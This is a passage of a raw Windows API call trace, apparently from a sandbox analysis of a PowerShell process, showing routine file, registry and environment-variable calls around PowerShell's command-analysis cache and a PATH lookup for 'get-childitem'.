(pv=0x43be9e8) [0109.636] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x99ae518, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", lpFilePart=0x0) returned 0x23 [0109.636] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", nBufferLength=0x105, lpBuffer=0x99ae5a8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", lpFilePart=0x0) returned 0x51 [0109.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea04) returned 1 [0109.636] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\powershell\\commandanalysis"), fInfoLevelId=0x0, lpFileInformation=0x99aea80 | out: lpFileInformation=0x99aea80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a31932, ftCreationTime.dwHighDateTime=0x1d2fc25, ftLastAccessTime.dwLowDateTime=0x2cd0b69d, ftLastAccessTime.dwHighDateTime=0x1d2fc25, ftLastWriteTime.dwLowDateTime=0x2cd0b69d, ftLastWriteTime.dwHighDateTime=0x1d2fc25, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0109.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aea00) returned 1 [0109.636] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheIndex", nBufferLength=0x105, lpBuffer=0x99ae4c0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheIndex", lpFilePart=0x0) returned 0x6e [0109.636] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99ae9b4) returned 1 [0109.636] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheIndex" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\powershell\\commandanalysis\\powershell_analysiscacheindex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x850 [0109.636] GetFileType (hFile=0x850) returned 0x1 [0109.636] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99ae9b0) returned 1 [0109.637] GetFileType (hFile=0x850) returned 0x1 [0109.637] SetEndOfFile (hFile=0x850) returned 1 [0110.510] WriteFile (in: hFile=0x850, lpBuffer=0x67088c8*, nNumberOfBytesToWrite=0x781, lpNumberOfBytesWritten=0x99aea5c, lpOverlapped=0x0 | out: lpBuffer=0x67088c8*, lpNumberOfBytesWritten=0x99aea5c*=0x781, lpOverlapped=0x0) returned 1 [0110.511] CloseHandle (hObject=0x850) returned 1 [0110.512] CoCreateGuid (in: pguid=0x99aec38 | out: pguid=0x99aec38*(Data1=0x615ec229, Data2=0xfe34, Data3=0x4253, Data4=([0]=0x86, [1]=0xa5, [2]=0xc2, [3]=0xd4, [4]=0x2c, [5]=0x6c, [6]=0x2a, [7]=0x89))) returned 0x0 [0110.512] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae724, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0110.512] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aebb4) returned 1 [0110.512] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1" (normalized: "c:\\users\\ciihmnxmn6ps\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), fInfoLevelId=0x0, lpFileInformation=0x67114ac | out: lpFileInformation=0x67114ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe020fe1e, ftCreationTime.dwHighDateTime=0x1d4bf18, ftLastAccessTime.dwLowDateTime=0xe020fe1e, ftLastAccessTime.dwHighDateTime=0x1d4bf18, ftLastWriteTime.dwLowDateTime=0xe0be58b7, ftLastWriteTime.dwHighDateTime=0x1d4bf18, nFileSizeHigh=0x0, nFileSizeLow=0x14ef)) returned 1 [0110.512] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aebb0) returned 1 [0110.513] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", nBufferLength=0x105, lpBuffer=0x99ae68c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", lpFilePart=0x0) returned 0x51 [0110.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeae8) returned 1 [0110.513] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\powershell\\commandanalysis"), fInfoLevelId=0x0, lpFileInformation=0x99aeb64 | out: lpFileInformation=0x99aeb64*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a31932, ftCreationTime.dwHighDateTime=0x1d2fc25, ftLastAccessTime.dwLowDateTime=0x2cd0b69d, ftLastAccessTime.dwHighDateTime=0x1d2fc25, ftLastWriteTime.dwLowDateTime=0x2cd0b69d, ftLastWriteTime.dwHighDateTime=0x1d2fc25, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0110.513] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeae4) returned 1 [0110.513] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheIndex", nBufferLength=0x105, lpBuffer=0x99ae5a4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheIndex", lpFilePart=0x0) returned 0x6e [0110.513] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aea98) returned 1 [0110.513] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheIndex" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\powershell\\commandanalysis\\powershell_analysiscacheindex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x850 [0110.514] GetFileType (hFile=0x850) returned 0x1 [0110.514] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aea94) returned 1 [0110.514] GetFileType (hFile=0x850) returned 0x1 [0110.514] ReadFile (in: hFile=0x850, lpBuffer=0x67125b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae9fc, lpOverlapped=0x0 | out: lpBuffer=0x67125b4*, lpNumberOfBytesRead=0x99ae9fc*=0x781, lpOverlapped=0x0) returned 1 [0110.515] ReadFile (in: hFile=0x850, lpBuffer=0x67125b4, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x99ae9c4, lpOverlapped=0x0 | out: lpBuffer=0x67125b4*, lpNumberOfBytesRead=0x99ae9c4*=0x0, lpOverlapped=0x0) returned 1 [0110.515] CloseHandle (hObject=0x850) returned 1 [0110.517] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0110.517] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x42c9ac0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0 [0110.517] CoTaskMemFree (pv=0x42c9ac0) [0110.517] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x99ae64c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", lpFilePart=0x0) returned 0x23 [0110.518] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", nBufferLength=0x105, lpBuffer=0x99ae6dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", lpFilePart=0x0) returned 0x51 [0110.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb38) returned 1 [0110.518] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\powershell\\commandanalysis"), fInfoLevelId=0x0, lpFileInformation=0x99aebb4 | out: lpFileInformation=0x99aebb4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a31932, ftCreationTime.dwHighDateTime=0x1d2fc25, ftLastAccessTime.dwLowDateTime=0x2cd0b69d, ftLastAccessTime.dwHighDateTime=0x1d2fc25, ftLastWriteTime.dwLowDateTime=0x2cd0b69d, ftLastWriteTime.dwHighDateTime=0x1d2fc25, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0110.518] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb34) returned 1 [0110.518] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_615ec229-fe34-4253-86a5-c2d42c6c2a89", nBufferLength=0x105, lpBuffer=0x99ae5f4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_615ec229-fe34-4253-86a5-c2d42c6c2a89", lpFilePart=0x0) returned 0x93 [0110.518] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeae8) returned 1 [0110.518] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheEntry_615ec229-fe34-4253-86a5-c2d42c6c2a89" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\powershell\\commandanalysis\\powershell_analysiscacheentry_615ec229-fe34-4253-86a5-c2d42c6c2a89"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x850 [0110.519] GetFileType (hFile=0x850) returned 0x1 [0110.519] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeae4) returned 1 [0110.519] GetFileType (hFile=0x850) returned 0x1 [0110.519] SetEndOfFile (hFile=0x850) returned 1 [0110.790] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\XML", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae0c4 | out: phkResult=0x99ae0c4*=0x0) returned 0x2 [0110.791] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\.NETFramework\\XML", ulOptions=0x0, samDesired=0x20019, phkResult=0x99ae0c4 | out: phkResult=0x99ae0c4*=0x0) returned 0x2 [0110.836] WriteFile (in: hFile=0x850, lpBuffer=0x673182c*, nNumberOfBytesToWrite=0x1f9, lpNumberOfBytesWritten=0x99aeb90, lpOverlapped=0x0 | out: lpBuffer=0x673182c*, lpNumberOfBytesWritten=0x99aeb90*=0x1f9, lpOverlapped=0x0) returned 1 [0110.837] CloseHandle (hObject=0x850) returned 1 [0110.838] CoTaskMemAlloc (cb=0x20c) returned 0x42c9ac0 [0110.838] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x42c9ac0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 0x0 [0110.838] CoTaskMemFree (pv=0x42c9ac0) [0110.838] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", nBufferLength=0x105, lpBuffer=0x99ae620, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local", lpFilePart=0x0) returned 0x23 [0110.838] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", nBufferLength=0x105, lpBuffer=0x99ae6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\", lpFilePart=0x0) returned 0x51 [0110.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeb0c) returned 1 [0110.838] GetFileAttributesExW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\powershell\\commandanalysis"), fInfoLevelId=0x0, lpFileInformation=0x99aeb88 | out: lpFileInformation=0x99aeb88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a31932, ftCreationTime.dwHighDateTime=0x1d2fc25, ftLastAccessTime.dwLowDateTime=0x51b3088, ftLastAccessTime.dwHighDateTime=0x1d4bf19, ftLastWriteTime.dwLowDateTime=0x51b3088, ftLastWriteTime.dwHighDateTime=0x1d4bf19, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0110.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeb08) returned 1 [0110.838] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheIndex", nBufferLength=0x105, lpBuffer=0x99ae5c8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheIndex", lpFilePart=0x0) returned 0x6e [0110.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aeabc) returned 1 [0110.838] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\CommandAnalysis\\PowerShell_AnalysisCacheIndex" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\microsoft\\windows\\powershell\\commandanalysis\\powershell_analysiscacheindex"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x850 [0110.838] GetFileType (hFile=0x850) returned 0x1 [0110.839] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aeab8) returned 1 [0110.839] GetFileType (hFile=0x850) returned 0x1 [0110.839] SetEndOfFile (hFile=0x850) returned 1 [0110.840] WriteFile (in: hFile=0x850, lpBuffer=0x6733968*, nNumberOfBytesToWrite=0x871, lpNumberOfBytesWritten=0x99aeb64, lpOverlapped=0x0 | out: lpBuffer=0x6733968*, lpNumberOfBytesWritten=0x99aeb64*=0x871, lpOverlapped=0x0) returned 1 [0110.840] CloseHandle (hObject=0x850) returned 1 [0110.842] ReleaseMutex (hMutex=0x844) returned 1 [0110.842] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aef10*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aef10*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x1d, [1]=0x17, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0110.844] CoCreateGuid (in: pguid=0x99aefc4 | out: pguid=0x99aefc4*(Data1=0x913cbde2, Data2=0xcace, Data3=0x4074, Data4=([0]=0xa8, [1]=0x72, [2]=0xbe, [3]=0x9d, [4]=0xb8, [5]=0xdf, [6]=0xc6, [7]=0xd9))) returned 0x0 [0110.844] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99aeb78, nSize=0xee | out: lpBuffer="\x04") returned 0x0 [0110.845] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x99aea50, nSize=0xee | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0110.845] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x99aea30, nSize=0xee | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL") returned 0x3a [0110.846] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x99aea68, nSize=0xee | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath;C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x87 [0111.668] CoTaskMemAlloc (cb=0x20e) returned 0x8e535d0 [0111.668] GetCurrentDirectoryW (in: nBufferLength=0x105, lpBuffer=0x8e535d0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop") returned 0x1d [0111.668] CoTaskMemFree (pv=0x8e535d0) [0111.669] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.669] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0111.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.669] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.669] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.ps1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.ps1", lpFilePart=0x0) returned 0x35 [0111.669] GetFullPathNameW (in: lpFileName="get-childitem.ps1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.ps1", lpFilePart=0x0) returned 0x2f [0111.669] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.ps1", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.670] CoTaskMemAlloc (cb=0x20e) returned 0x8e560f0 [0111.670] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x8e560f0, nSize=0x105 | out: lpBuffer="\x6100\x8e5\x5850\x8e5\x24") returned 0x0 [0111.670] CoTaskMemFree (pv=0x8e560f0) [0111.670] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.670] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0111.670] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.670] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.670] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.671] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.psm1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.psm1", lpFilePart=0x0) returned 0x36 [0111.671] GetFullPathNameW (in: lpFileName="get-childitem.psm1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.psm1", lpFilePart=0x0) returned 0x30 [0111.671] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.psm1", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.671] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.671] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0111.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.671] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.671] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.671] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.psd1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.psd1", lpFilePart=0x0) returned 0x36 [0111.671] GetFullPathNameW (in: lpFileName="get-childitem.psd1", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.psd1", lpFilePart=0x0) returned 0x30 [0111.671] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.psd1", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.671] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.672] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.672] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, lpFileInformation=0x99aec88 | out: lpFileInformation=0x99aec88*(dwFileAttributes=0x410, ftCreationTime.dwLowDateTime=0x8d26c806, ftCreationTime.dwHighDateTime=0x1d2d445, ftLastAccessTime.dwLowDateTime=0x8d26c806, ftLastAccessTime.dwHighDateTime=0x1d2d445, ftLastWriteTime.dwLowDateTime=0x8d26c806, ftLastWriteTime.dwHighDateTime=0x1d2d445, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0111.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec08) returned 1 [0111.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec84) returned 1 [0111.672] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae78c, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.672] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.COM", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.COM", lpFilePart=0x0) returned 0x35 [0111.672] GetFullPathNameW (in: lpFileName="get-childitem.COM", nBufferLength=0x105, lpBuffer=0x99ae760, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\get-childitem.COM", lpFilePart=0x0) returned 0x2f [0111.672] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath\\get-childitem.COM", lpFindFileData=0x99ae9ac | out: lpFindFileData=0x99ae9ac) returned 0xffffffff [0111.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec90) returned 1 [0111.672] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x99aec9c) returned 1 [0111.672] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath", nBufferLength=0x105, lpBuffer=0x99ae7b0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Oracle\\Java\\javapath", lpFilePart=0x0) returned 0x23 [0111.672] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x99aec0c) returned 1 [0111.672] GetFileAttributesExW (in: lpFileName="C:\\ProgramData\\Oracle\\Java\\javapath" (normalized: "c:\\programdata\\oracle\\java\\javapath"), fInfoLevelId=0x0, 